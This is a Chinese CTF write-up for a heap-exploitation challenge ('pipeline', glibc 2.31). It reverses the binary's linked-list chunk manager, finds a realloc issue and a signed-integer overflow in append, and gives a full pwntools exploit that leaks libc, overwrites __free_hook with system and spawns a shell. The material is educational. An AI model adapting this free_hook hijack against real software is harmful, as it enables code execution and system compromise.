保护当然是全绿。
fastcall的调用方式让程序看起来有点奇怪,因为fastcall函数调用用寄存器调,反汇编不了,还是得读汇编。
一个一个来。
new
chunk申请后写地址的方式还跟平常的不大一样。
允许申请10个chunk,然后用chunk复用的那个地方,也就是prev_size那个地方构成一个单链表,4058指向第一个chunk,然后每个chunk的复用位置存放下一个chunk的指针。
还会有检查。
里面反复提到4050,找到他。
4050处申请了一个0x10大小的chunk,里面存了一会你将会申请到的第一个chunk的chunk头,放了一个0x21000数字。
他想的是防止你申请到别的地方,要求你只能申请到堆,但是其实在判断的时候4050存放的是下一个chunk的chunk头,但是你申请回来并且比较的是chunk的内容部分,差了一个0x10,不知道有没有用,先往后看。
edit
刚刚申请的chunk分成四个部分,分别是8、4、4、8,作用分别是内容chunk地址,偏移,内容大小,链表指针。
申请chunk写内容的时候用的是realloc,地址大小都可控,那就有问题。
但是要注意他下面针对realloc造成的free做了处理。
destory
就是找到那个chunk,然后拿出来,一个出链的过程。
这个是append
说白了这个程序就是通过offset来实现了一个我们能接着内容去输入。
show
只能输出offset后面的。
所以我们总结一下这个程序的大概功能,new申请,edit修改偏移,修改大小。append就是读入,根据偏移实现读入。destory删除,show输出偏移开始的内容。整个数据结构是一个单链表的结构。
首先要考虑的还是泄露libc地址。libc是2.31。可以利用前面的realloc来申请释放,获得一个unsorted 的chunk,然后通过泄露libc地址。
然后我门发现在append的时候,有个问题。
append的时候本来限制了我们不能随便写,但是这里的v3是int类型,是有符号的。插一嘴atoi这个函数其实是不接受负数的,但是我们这里如果让它整数溢出,v3就是负数,就一定小于v1,而且我们合理调整v3,可以让v1很大,然后可以做到任意写,就可以轻松劫持free_hook。
exp
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
r = process("./pipeline")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def new():
r.sendlineafter(">>", "1")
def edit(index,offset,size):
r.sendlineafter(">>", "2")
r.sendlineafter("index: ",str(index))
r.sendlineafter("offset: ",str(offset))
r.sendlineafter("size: ",str(size))
def destory(idx):
r.sendlineafter(">>", "3")
r.sendlineafter("index: ",str(index))
def append(idx,size,data):
r.sendlineafter(">>", "4")
r.sendlineafter("index: ",str(idx))
r.sendlineafter("size: ",str(size))
r.sendlineafter("data: ",data)
def show(idx):
r.sendlineafter(">>", "5")
r.sendlineafter("index: ",str(idx))
new() #0
edit(0,0,0x500)
new() #1
new() #2
edit(0,0,0)
edit(0,0,0x500)
show(0)
malloc_hook = (u64(r.recvuntil("\x7f")[-6:].ljust(8, "\x00")) & 0xfffffffffffff000) + (libc.sym["__malloc_hook"] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
print "libc_base = " + hex(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
append(0,0xffff2000,'A'*0x500+p64(0)+p64(0x21)+p64(free_hook)+p64(0)+p64(0x100))
append(1,0xffff2000,p64(system_addr))
append(0,0xffff2000,"/bin/sh\x00")
edit(0,0,0)
r.interactive()